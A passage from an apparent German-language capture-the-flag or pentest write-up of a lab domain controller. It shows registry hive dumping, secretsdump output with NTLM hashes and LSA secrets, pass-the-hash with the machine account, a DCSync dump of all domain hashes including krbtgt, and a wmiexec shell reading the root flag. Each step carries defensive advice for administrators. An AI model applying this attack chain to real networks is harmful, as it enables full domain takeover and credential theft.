Bewertung: Das erfolgreiche Extrahieren der Registry Hives ist ein entscheidender Schritt zur Offline-Analyse und zum Dumpen von Anmeldeinformationen (lokale Hashes, LSA Secrets, potenziell zwischengespeicherte Domain-Credentials).
Empfehlung (Pentester): Die gespeicherten Hives (`SAM.save`, `SYSTEM.save`, `SECURITY.save`) mit einem Tool wie `secretsdump.py` im lokalen Modus analysieren, um Hashes und andere Geheimnisse zu extrahieren.
Empfehlung (Admin): Den Zugriff auf die Registry über das Netzwerk einschränken (RemoteRegistry-Dienst deaktivieren oder Firewall-Regeln anpassen). Die Berechtigungen der `Backup Operators` überprüfen (insbesondere SeBackupPrivilege), da diese oft das Auslesen der Hives ermöglichen.
insgesamt 48K + 11M 4.0K drwxrwxr-x 2 garffff garffff 4.0K Jul 28 13:57 . 4.0K drwxrwxr-x 5 garffff garffff 4.0K Jul 28 13:42 .. 36K -rwxr-xr-x 1 root root 28K Jul 28 13:56 SAM.save 40K -rwxr-xr-x 1 root root 32K Jul 28 13:57 SECURITY.save 11M -rwxr-xr-x 1 root root 11M Jul 28 13:57 SYSTEM.save
Analyse: Der Befehl `ls -lash` im Verzeichnis `~/dom/share` auf der Angreifer-Maschine bestätigt, dass die drei Registry Hives (SAM, SECURITY, SYSTEM) erfolgreich gespeichert wurden.
Bewertung: Bestätigt den Erfolg der vorherigen Extraktionsschritte.
Empfehlung (Pentester): Mit der Offline-Analyse der Hives fortfahren.
Empfehlung (Admin): Keine zusätzlichen Maßnahmen erforderlich.
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6 [] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information. [] Dumping cached domain logon information (domain/username:hash) [] Dumping LSA Secrets [] $MACHINE.ACC $MACHINE.ACC:plain_password_hex:0185...[SNIP]...c93b4 $MACHINE.ACC:aad3b435b51404eeaad3b435b51404ee:f5ce239a47e93e2a4f4e8ca4bf431012::: [] DPAPI_SYSTEM dpapi_machinekey:0x829d1c0e3b8fdffdc9c86535eac96158d8841cf4 dpapi_userkey:0x4813ee82e68a3bf9fec7813e867b42628ccd9503 [] NL$KM 0000 44 C5 ED CE F5 0E BF 0C 15 63 8B 8D 2F A3 06 8F D........c../... [SNIP] 0030 69 02 53 95 1F ED 0E 77 B5 24 17 BE 6E 80 A9 91 i.S....w.$..n... NL$KM:44c5edcef50ebf0c15638b8d2fa3068f624dcad95520444175553e85820621148efaa1770a9c0da49a96447cfc896391690253951fed0e77b52417be6e80a991 [] Cleaning up...
Analyse: Das Impacket-Skript `secretsdump.py` wird kopiert und im lokalen Modus ausgeführt, um die extrahierten Hives zu analysieren. Es extrahiert erfolgreich:
Bewertung: Dies ist ein weiterer kritischer Fund. Die NTLM-Hashes des lokalen Administrators (`209c...`) und insbesondere des Maschinenkontos (`f5ce...`) sind äußerst wertvoll. Der Hash des Maschinenkontos kann oft für Privilegieneskalation im Active Directory verwendet werden (z.B. für DCSync).
Empfehlung (Pentester): Versuchen, sich mit den extrahierten Hashes per Pass-the-Hash anzumelden. Priorität hat der Hash des Maschinenkontos (`dc01$`), da dieser wahrscheinlich höhere Domänenprivilegien hat als der lokale Administrator-Hash des DC.
Empfehlung (Admin): Sicherstellen, dass LSA Protection (RunAsPPL) aktiviert ist, um das Auslesen von LSA Secrets zu erschweren. Lokale Administrator-Passwörter sollten komplex sein und idealerweise über LAPS verwaltet werden. Maschinenkonto-Passwörter regelmäßig rotieren lassen.
SMB 192.168.2.117 445 DC01 [] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SUPEDECDE.LCAL) (signing:True) (SMBv1:False)
SMB 192.168.2.117 445 DC01 [-] SUPEDECDE.LCAL\administrator:209c6174da490caeb422f3fa5a7ae634 STATUS_LOGON_FAILURE
Analyse: Es wird versucht, sich mit `nxc` über SMB mittels Pass-the-Hash anzumelden. Verwendet wird der extrahierte NTLM-Hash (`-H 209c...`) für das Konto `administrator`. Der Versuch scheitert mit `STATUS_LOGON_FAILURE`.
Bewertung: Der lokale Administrator-Hash funktioniert nicht für die Domänenanmeldung (oder das Konto ist deaktiviert/der Hash ist veraltet). Dies ist nicht ungewöhnlich, da der lokale Administrator eines DC oft nicht für Domänenanmeldungen verwendet wird.
Empfehlung (Pentester): Den Hash des Maschinenkontos versuchen.
Empfehlung (Admin): Keine spezifischen Maßnahmen erforderlich, da der Angriff fehlschlug.
SMB 192.168.2.117 445 DC01 [] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SUPEDECDE.LCAL) (signing:True) (SMBv1:False)
SMB 192.168.2.117 445 DC01 [+] SUPEDECDE.LCAL\dc01$:f5ce239a47e93e2a4f4e8ca4bf431012
Analyse: Nun wird versucht, sich mit dem NTLM-Hash des Maschinenkontos (`dc01$`) anzumelden (`-u 'dc01$' -H f5ce...`). Dieser Versuch ist erfolgreich!
Bewertung: Exzellent! Der Zugriff als Maschinenkonto `dc01$` wurde mittels Pass-the-Hash erlangt. Maschinenkonten auf Domain Controllern haben standardmäßig sehr hohe Privilegien im Active Directory, oft ausreichend für Replikationsvorgänge (DCSync).
Empfehlung (Pentester): Die erlangten Privilegien des Maschinenkontos nutzen, um einen DCSync-Angriff durchzuführen und die Hashes aller Domänenbenutzer (insbesondere Domain Admins und krbtgt) zu extrahieren.
Empfehlung (Admin): Maschinenkonto-Passwörter regelmäßig und automatisch rotieren lassen. Den Zugriff und die Aktionen von Maschinenkonten überwachen.
Proof of Concept: Domain Compromise via DCSync
Der folgende Schritt demonstriert die vollständige Kompromittierung der Active Directory-Domäne. Durch die Kompromittierung des Maschinenkonto-Hashes (`dc01$`) erlangen wir die notwendigen Berechtigungen (Directory Replication Services), um einen DCSync-Angriff durchzuführen. Dabei imitieren wir einen Domain Controller und fordern vom Ziel-DC die Passwort-Hashes aller Domänenbenutzer an.
[-] Remoteoperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:8982babd4da89d33210779a6c5b078bd::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb9d84e61e78c26063aced3bf9398ef0::: soupedecode.local\bmark0:1103:aad3b435b51404eeaad3b435b51404ee:d72c66e955a6dc0fe5e76d205a630b15::: soupedecode.local\otara1:1104:aad3b435b51404eeaad3b435b51404ee:ee98f16e3d56881411fbd2a67a5494c6::: soupedecode.local\kleo2:1105:aad3b435b51404eeaad3b435b51404ee:bda63615bc51724865a0cd0b4fd9ec14::: soupedecode.local\eyara3:1106:aad3b435b51404eeaad3b435b51404ee:68e34c259878fd6a31c85cbea32ac671::: soupedecode.local\pquinn4:1107:aad3b435b51404eeaad3b435b51404ee:92cdedd79a2fe7cbc8c55826b0ff2d54::: soupedecode.local\jharper5:1108:aad3b435b51404eeaad3b435b51404ee:800f9c9d3e4654d9bd590fc4296adf01::: soupedecode.local\bxenia6:1109:aad3b435b51404eeaad3b435b51404ee:d997d3309bc876f12cbbe932d82b18a3::: soupedecode.local\gmona7:1110:aad3b435b51404eeaad3b435b51404ee:c2506dfa7572da51f9f25b603da874d4::: soupedecode.local\oaaron8:1111:aad3b435b51404eeaad3b435b51404ee:869e9033466cb9f7f8d0ce5a5c3305c6::: soupedecode.local\pleo9:1112:aad3b435b51404eeaad3b435b51404ee:54a3a0c87893e1051e6f7b629ca144ef::: <--SNIP-->
Analyse: `secretsdump.py` wird nun im Online-Modus verwendet, authentifiziert als Maschinenkonto `dc01$` mittels Pass-the-Hash (Syntax: `-hashes :NTLMHASH`). Das Skript nutzt die Directory Replication Service (DRSUAPI)-Rechte, um die NTLM-Hashes aller Benutzer in der Domäne `SUPEDECDE.LCAL` zu extrahieren. Die Ausgabe zeigt die Hashes für den Administrator (`8982...`), das wichtige `krbtgt`-Konto (`fb9d...`) und viele andere Benutzer.
Bewertung: Dies ist der ultimative Erfolg der Privilegieneskalation im Active Directory. Mit dem `krbtgt`-Hash können Golden Tickets erstellt werden, die unbegrenzten Zugriff ermöglichen. Mit dem aktuellen Administrator-Hash kann direkt auf das System zugegriffen werden.
Empfehlung (Pentester): Den extrahierten Administrator-Hash (`8982babd4da89d33210779a6c5b078bd`) verwenden, um sich als Domain Admin anzumelden (z.B. via Pass-the-Hash mit `wmiexec.py` oder `psexec.py`) und den Root-Flag zu holen. Den `krbtgt`-Hash für mögliche Golden-Ticket-Angriffe speichern.
Empfehlung (Admin): DCSync-Angriffe durch Überwachung von Replikationsanfragen (Event ID 4662 mit spezifischen Objekt-GUIDs) und durch Einschränkung der Konten mit Replikationsrechten erkennen und verhindern. Implementierung von Tiering-Modellen im AD.
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>cd c:\users\administrator\desktop\ c:\users\administrator\desktop>dir Volume in drive C has no label. Volume Serial Number is CCB5-C4FB Directory of c:\users\administrator\desktop 06/17/2024 11:28 AM. 06/15/2024 12:56 PM .. 06/12/2024 01:01 PM 33 root.txt 1 File(s) 33 bytes 2 Dir(s) 44,419,076,096 bytes free c:\users\administrator\desktop>type root.txt d41d8cd98f00b204e9800998ecf8427e
Analyse: Das Impacket-Skript `wmiexec.py` wird verwendet, um eine semi-interaktive Shell auf dem Zielsystem zu erhalten. Die Authentifizierung erfolgt als Domain-Administrator (`SUPEDECDE.LCAL/administrator`) mittels Pass-the-Hash unter Verwendung des durch DCSync erhaltenen NTLM-Hashes (`-hashes :8982...`). In der resultierenden Shell (`C:\>`) wird in das Desktop-Verzeichnis des Administrators navigiert und die Datei `root.txt` gefunden. Der Inhalt dieser Datei wird mit `type root.txt` angezeigt.
Bewertung: Perfekt! Erfolgreicher Zugriff als Domain Administrator und Auffinden des Root-Flags (`d41d8cd98f00b204e9800998ecf8427e`). Das Ziel des Penetrationstests ist vollständig erreicht.
Empfehlung (Pentester): Root-Flag dokumentieren. Den Bericht fertigstellen.
Empfehlung (Admin): Nach einer solchen Kompromittierung ist eine vollständige Untersuchung des Vorfalls und möglicherweise eine Neuinstallation der betroffenen Systeme und eine Rotation aller Domänen-Passwörter (insbesondere `krbtgt`) dringend erforderlich.